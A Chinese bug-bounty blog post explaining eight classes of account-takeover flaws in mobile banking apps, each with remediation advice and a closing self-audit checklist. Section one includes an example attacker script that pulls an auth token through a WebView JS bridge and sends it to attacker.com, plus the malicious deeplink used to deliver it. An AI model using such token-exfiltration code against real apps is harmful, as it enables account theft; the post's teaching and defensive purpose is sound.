SRC 挖洞:能接管银行 App 账户的 8 类漏洞,我一条条打给你看

我是 akihi,白帽攻防录讲师,专注 Web / App / PC 客户端漏洞挖掘。腾讯 SRC 连续三年 TOP10、合合 SRC 2026 年度第二。

先说结论:银行 App 的账户接管漏洞,你拿商业扫描器是扫不出来的。

不是工具不行,是这类漏洞压根不在「某一行代码」里。它藏在一条跨组件的调用链上——深链收参数、WebView 加载页面、JS 桥把 token 递出去,每一步单拎出来看都挺正常,连起来就是账户接管。

我把这类目标里反复出现的 8 种打法整理了一遍。每一种我都会说清楚:怎么打、为什么难发现、以及怎么修。

银行 App 账户接管的 8 类漏洞

先看张全景表,这是 Oversecured 整理的 8 类漏洞对照:跑在哪个平台、对应 OWASP MASVS 的哪条控制项、严重度多少、以及靠什么手段能测出来。注意最后那列 Detection,8 条里有 3 条必须 SAST + DAST 一起上,纯静态根本盖不住。

8 类账户接管漏洞:平台、MASVS 控制项、严重度与检测方式

再摆两个数字,感受下这块战场有多热。

Zimperium 2026 年的银行劫案报告跟踪到 34 个活跃恶意软件家族,覆盖 90 个国家、1243 家金融机构,Android 侧由恶意软件驱动的金融交易同比涨了 67%。Kaspersky 那边,2024 年移动银行木马的受害用户从 6.92 万涨到接近 24.8 万,翻了三倍多。

但对我这种挖洞的人来说,比统计数字更有意思的是另一件事:下面这 8 类,绝大多数能过掉标准渗透测试。

一、WebView JS 桥,把 Token 亲手递给了攻击者

这是我见过最短的一条链,短到有点离谱。

App 注册一个深链处理器 bankapp://,从参数里取 url 塞进内置 WebView。而这个 WebView 上挂了 addJavascriptInterface(),暴露出类似 getAuthToken() 的原生方法,本意是给自己家的 H5 页面调用。

问题在于:WebView 不区分「自家的页面」和「攻击者的页面」。谁的内容被加载进来,谁就能调这些桥方法。

所以攻击者要做的只有一件事——投递一条链接:

<!-- 攻击者页面上的一行 JS -->
<script>
  // 桥本来是给银行自家页面用的
  // 但这个 WebView 里加载的任何页面都能调
  const token = AuthBridge.getAuthInfo();
  fetch("https://attacker.com/leak?t=" + encodeURIComponent(token));
</script>

<!-- 投递方式:就一条链接 -->
<a href="bankapp://open?url=https%3A%2F%2Fattacker.com%2Fpage">点这里</a>

这个模式的原型是 Oversecured 在 Samsung SmartThings 上披露的 CVE-2022-30746,同类问题在金融 App 里一抓一大把。

WebView 桥 Token 泄漏攻击链

为什么难发现?因为把它拆成两半看,每一半都不算漏洞

深链处理器接收未校验的 URL 参数——单独看只是「不够严谨」。WebView 把认证状态暴露给加载的页面——单独看也只是「设计如此」。只有把「未校验的 URL 参数」一路追到「暴露 token 的 WebView」上,完整的账户接管才浮出水面。

这需要污点分析,不是 grep。

修复:JS 桥方法不要返回任何凭证;非要用,就在 shouldOverrideUrlLoading 里对 origin 做白名单,而且是精确比 host,不是 contains

二、Intent 重定向:借宿主的手,去够够不着的地方

思路很朴素——让受害 App 替我跑腿。

一个导出的 Activity / Service / BroadcastReceiver 从调用方那里接 Intent,取出嵌套的 Intent 或一堆 extras,不校验目标就丢给 startActivity()startService()sendBroadcast()

攻击者就拿它当中继,去够那些本来受保护的组件:OAuth 回调处理器、受保护 URI 上的文件操作、持有会话数据的站内 WebView。

金融 App 在这块尤其吃亏,因为它注册的 intent handler 特别多——网点查询、支付确认、生物认证弹窗、3DS 挑战。每一个只要校验不严,就是一个重定向跳板。

修复:导出的组件上禁止透传外部 Intent;真要转发,目标组件必须写死白名单,绝不接受调用方指定的 component / action / data。

三、硬编码凭证:攻击者不绕过认证,他直接冒充 App

API Key、OAuth client secret、签名密钥、后端服务 token 被直接编进 APK 或 IPA。谁从应用商店下载、反编译一下,谁就能拿走。

这类发现在预发布扫描里出现得非常稳定——一个金融 App 的生产二进制里翻出几十个硬编码 token 和密码,是常态,不是意外。

而 token 一旦泄露,用户侧认证做得多强都没意义了:攻击者是以后端认定的「App 自己」这个身份在做认证。

对应 MASVS-STORAGE、CWE-798。修法没什么技巧,把密钥从客户端挪到服务端,客户端只留短时效、可撤销的会话凭证。

四、Deeplink 劫持:授权码被送到了别人家

App 注册 URL scheme 或 App Links 来处理 OAuth 回调和认证状态流转。同一台设备上的恶意 App 注册同一个 scheme。等合法的认证流程通过 deeplink 把用户送回来时,系统可能把授权码路由给攻击者的 App。

因为 scheme 劫持做起来几乎没有门槛,PKCE 在这里是刚需——上了 PKCE,泄露的授权码对攻击者就是废纸,他拿不出匹配的 code verifier 去换 token。

风险覆盖面是「deeplink 注册没配上 App Link 验证(Android)或 Universal Link entitlements(iOS)」的所有场景。这两个验证能把链接用密码学绑死在你的 App 上,别的 App 抢不走。

五、Token 存储:SharedPreferences、外部存储、Logcat 三连

会话 token、refresh token,甚至密码本身,被写到这几个地方:

  • 未加密的 SharedPreferences。真正的问题不是「App 进程内的代码能读到」——攻击者都能在你进程里跑代码了,凭证本来也保不住。问题是 App 对凭证失去了控制权:它们以明文躺在设备的某个文件里,文件被拷走、被导出、被读内存,都会暴露。
  • 外部存储。老版本 Android 上全局可读,任何持有 READ_EXTERNAL_STORAGE 的 App 都能拿。
  • Logcat。不需要 root、不需要调试上下文就能读,还经常被分析 SDK 顺手采走。

第三条最普遍。开发调试时写了句 Log.d("Auth", "Token: " + token),上线前忘了删。写进 Logcat 的每一行,都是可观测的。

六、本地回环端口等 OAuth 回调

App 起一个本地 HTTP 服务器绑在 127.0.0.1 的某个端口,用来接 OAuth 重定向回调,或者在多个进程之间传认证数据。

关键点:Android 不会在 App 之间隔离回环 socket。同设备上任何其他 App 都能连上来。

于是就有了这么一出——恶意 App 在银行 App 认证时轮询常见回调端口,抢先把授权码收走,赶在合法 App 之前换成 token。

本地回环端口抢 OAuth Code 的时序

这个模式看起来挺安全,毕竟服务器明明绑在 127.0.0.1 上。但「绑在本地」和「只有我自己能连」是两回事。

金融 App 里这个写法特别多,因为要对接外部身份提供方、政府认证服务(BankID、Aadhaar)或者合作方 SSO。

修复:改用基于 Intent 的 OAuth 重定向(AppAuth 库,或带 PKCE 的 Custom Tabs),别再自己起本地服务器。

七、AIDL 接口越权

Service 暴露一个 AIDL 接口,做的是认证相关的操作:签发 token、返回用户数据、代 App 执行特权动作。

如果 onBind() 或 AIDL 方法不校验调用方 UID / 包名,设备上任何非特权 App 都能 bind 上去,直接调这些方法。

SmartThings 那个案例里,REQUEST_AUTH_CODEWEB_AUTH_MANAGERACTION_WEBVIEW_WITH_PASSWORD_EXTERNAL 这几个认证动作都是没做调用方限制就注册出去的,等于把整个授权码申请流程敞开给第三方 App。

银行 App 里那些「在多个模块之间共享认证状态」的自研 IPC 服务,是同一个坑。

修复:onBind() 里用 Binder.getCallingUid() 校验调用方,或者给 Service 挂上 signature 级权限。

八、生物认证没绑 CryptoObject

App 用 BiometricPrompt(Android)或 LocalAuthentication(iOS),但开了「可回落到设备密码」的模式,或者把一次生物认证成功当成后续所有敏感操作的通行证。

核心问题是没有把生物认证绑定到 CryptoObject

绑了 CryptoObject 才能保证三件事:受保护的密钥只能通过生物认证访问;每次用密钥都必须重新认证;设备上录入新生物特征时密钥失效。

不绑的话,生物认证就从一个「每次操作都要过的关卡」,退化成「进门时刷一次的脸」——而一旦还允许回落到普通设备凭证,这道关卡可以整个绕过去。

还有个紧挨着的坑:重新录入生物特征(加一枚指纹、录一张脸)时,没有让已存的凭证或密钥失效。攻击者在被控制的设备上录一枚自己的生物特征,就直接继承了受害者的已认证状态。

真正要命的是复合效应:一旦银行把「生物认证背书的移动端认证」当成最高保证级别,这条链上任何一处出问题,都会把下游所有安全决策一起拉低。

为什么扫描器抓不到这些

上面 8 类有一个共同点:它们活在跨组件的链条里,不在某一行代码里。

要可靠地发现,得三件事同时到位。

1. 污点分析(数据流追踪)。把不可信数据从 source(深链参数、导出组件、第三方 Intent、用户输入、公共文件存储)出发,穿过每一次变换、每一次函数调用、每一次组件边界,一路追到 sink(网络请求、文件写入、startActivity()、WebView URL 加载、把 token 吐出去的 return)。

模式匹配的扫描器只看得到单行:它能告诉你「这行调了 getStringExtra()」「这行调了 loadUrl()」,但连不起这两行在一个真实代码库里的关系。

2. 带 PoC 的动态验证。静态分析给出可疑链条,动态验证确认哪条真的能打——fuzz 导出组件、投递构造好的深链、在链打通的那一刻抓屏录屏或堆栈。

这一步把「真发现」和「理论发现」分开。团队时间有限的时候,这个区分能救命。

3. 覆盖完整的编译产物。现代银行 App 是自家代码加大量的第三方 SDK 代码:分析、社交登录、支付库、广告框架。只分析源码的扫描器会漏掉依赖包里的全部内容。用户装的是那个编译好的 APK / IPA,要分析的就是它。

最后给你一份自查清单

做移动端 SRC 或者甲方自查,按这 8 条过一遍,比泛泛地跑工具快得多:

移动端账户接管自查清单

  1. 所有导出的组件,是否校验了调用方 UID / 权限?
  2. WebView 上挂的 JS 桥,是否只允许白名单 origin 调用?有返回凭证的方法吗?
  3. 深链接收的 URL 参数,校验方式是白名单精确比对,还是 startsWith / contains
  4. OAuth 回调用的是自定义 scheme 还是已验证的 App Link?上 PKCE 了吗?
  5. Token 有没有明文落在 SharedPreferences、外部存储或者 Logcat 里?
  6. 本地回环端口的 OAuth 回调是否还在用?
  7. AIDL 的 onBind() 校验 caller 了吗?
  8. 生物认证绑 CryptoObject 了吗?重录生物特征时旧密钥会失效吗?

总结就是

这 8 类里,能单独成洞的很少,能串成链的很多。

WebView 桥给出一个 token 泄露点,Intent 重定向给出一个够到内部组件的跳板,两者一拼,危害就从「信息泄露」直接跳到「账户接管」。

所以挖这类目标时,我基本不会逐条找「这一行有没有洞」,而是先画一条链:不可信输入从哪进来 → 中间经过哪些组件 → 最后落在哪个 sink 上

链条能画通,洞就跑不掉;画不通,那就是扫描器会误报的地方。

对做 SRC 的人来说,金融和银行类 App 的账户接管是个投入产出比很高的方向——厂商认危害,链一旦打通就是高风险等级,而绝大多数团队的工具链恰好在这个类型上是盲区。

剩下的就是动手了。挑个目标,把上面那张清单拉出来一条条对,加油。

参考来源:Oversecured Blog — Vulnerabilities that lead to account takeover in banking and fintech mobile apps
https://oversecured.com/blog/mobile-banking-security-account-takeover-vulnerabilities

白帽攻防录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值